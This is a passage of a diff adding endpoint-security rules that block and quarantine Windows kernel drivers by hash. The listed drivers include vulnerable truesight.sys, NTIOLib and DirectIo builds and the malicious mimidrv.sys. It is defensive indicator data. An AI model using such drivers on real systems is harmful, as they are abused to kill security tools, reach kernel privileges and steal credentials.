+  "creation_date": "2026-03-23T11:45:31.822010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ea0e67e8e4b6b5f5b56205dcb965e6fa99515ac03063ba8313078d8183a40f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8af73424-cabd-5273-b142-1734b1585b28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494196Z",
+  "creation_date": "2026-03-23T11:45:31.494199Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494207Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2143ad726c1d98f46dd3fa848294ce5e5c5c1ebb4414762c13b0e427f9d6d42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b0d4dcd-a24f-510e-85ef-1401806f03dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614596Z",
+  "creation_date": "2026-03-23T11:45:29.614598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "591bd5e92dfa0117b3daa29750e73e2db25baa717c31217539d30ffb1f7f3a52",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b1c0132-0f87-53b9-a3e9-598681d12184",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828707Z",
+  "creation_date": "2026-03-23T11:45:31.828709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2463da4c24ab4e8beee552c24f2a70316aa2cb8c3ec148ce446b3a11a8b08956",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b24d52f-c3b6-563a-b568-b415e288987f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820244Z",
+  "creation_date": "2026-03-23T11:45:31.820247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34580b7c46cf2ba86ec120aa94c5c6a74347eb8e214165b2d0bcc4f51a310ebd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b2e4de4-b4f1-5688-b0c0-14e7e1bd315d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825511Z",
+  "creation_date": "2026-03-23T11:45:31.825513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e03e2302933fce5d5e302bce826ff8ed6f1d3d57363f611a3855b1f18121431",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b354715-a8d4-50dd-b4fd-7387f41976e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467919Z",
+  "creation_date": "2026-03-23T11:45:30.467922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c005f1bcb549d76ab86390217ad6b3a2226ec74fd6f4595c0fd28b73102b1b99",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b40143f-a5f1-5480-9a6f-a3dc8de0f0ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972908Z",
+  "creation_date": "2026-03-23T11:45:29.972910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "238046cfe126a1f8ab96d8b62f6aa5ec97bab830e2bae5b1b6ab2d31894c79e4",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b4b0dba-3bf6-5928-9271-9e40c906fa85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613787Z",
+  "creation_date": "2026-03-23T11:45:29.613789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6dafd15ee2fbce87fef1279312660fc399c4168f55b6e6d463bf680f1979adcf",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b5f7cbd-f507-5415-9529-20310e67627f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454919Z",
+  "creation_date": "2026-03-23T11:45:30.454922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22da5a055b7b17c69def9f5af54e257c751507e7b6b9a835fcf6245ab90ae750",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b68cf26-de42-5958-a6f6-89188fe44e69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812907Z",
+  "creation_date": "2026-03-23T11:45:31.812909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9700d4a0ec9ab9aebd902664586c608ea41255f181fdd60e4e4f97faff4c8efc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b6b55f3-9d75-50a2-883f-a4f7c2a6cfcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622828Z",
+  "creation_date": "2026-03-23T11:45:29.622830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622835Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "507cee84e2924e81916c8bf090efb1beab3c258a79e1e1bf3637b8b7824d0a86",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8b8f1810-a120-5dc7-aca8-7320c2d51160",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605487Z",
+  "creation_date": "2026-03-23T11:45:29.605489Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bb42c60-1d10-5ad3-aa54-9eb7d3d53dda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486010Z",
+  "creation_date": "2026-03-23T11:45:31.486013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d0c87a31a5e5c22ccd722f80165f98023b8ffa270a03ee174728e8e247d05b6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bb87c0e-a975-5774-a6ac-6e726a11efd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492250Z",
+  "creation_date": "2026-03-23T11:45:31.492252Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492257Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b266100dc2c0a9c657e443e0123842404478d170e113f81fe18a5b0e9f915735",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bbbfa75-1155-5e2d-b741-079d4914edc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470341Z",
+  "creation_date": "2026-03-23T11:45:30.470345Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7442192141d056cef53a570d072759a648393be52019f32e93ccb7aec5715feb",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bc68ea2-ae89-557f-8f21-d13ced1d7ab7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480365Z",
+  "creation_date": "2026-03-23T11:45:31.480369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b2d29f8984a3c9649765ab359580c590371d32d7279a5553750ce95d0f4f477",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bd0fc17-6c0d-53d2-97a0-dbdcf564452c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606079Z",
+  "creation_date": "2026-03-23T11:45:29.606080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bd267b4-1790-56ff-ad77-8180b2fa89c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821853Z",
+  "creation_date": "2026-03-23T11:45:31.821856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821864Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d04ac62221a46998dfe281b055ca507840fc0275bf7535d11aeac25a80b654c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8bf73bc3-f8b1-5d4e-8d23-fda0e56ff72e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146710Z",
+  "creation_date": "2026-03-23T11:45:32.146712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146717Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "331a5bf8965b6410c5517df3ffad4d15afc4390f5b482a6e5fae1c01dd55059f",
+  "comment": "Vulnerable Kernel Driver (aka 8492937_2_Driver.sys) [https://www.loldrivers.io/drivers/c95a796a-a8f6-4cfa-bc42-4936ecb59091/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c06113b-9892-531f-ba51-22729b956d4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833588Z",
+  "creation_date": "2026-03-23T11:45:30.833591Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e132a6ba87d65723faa4a27ac5857bed428fb9983ac817b20a4c37a33070dd0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c095117-2e46-5c71-9449-16ed20955113",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148468Z",
+  "creation_date": "2026-03-23T11:45:31.148470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63298626b1d4aea3c8b8b838ce3412f4e501986af353004083358922810290ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c0b65dd-ab42-58f2-9197-0c842c3b8117",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151599Z",
+  "creation_date": "2026-03-23T11:45:31.151602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
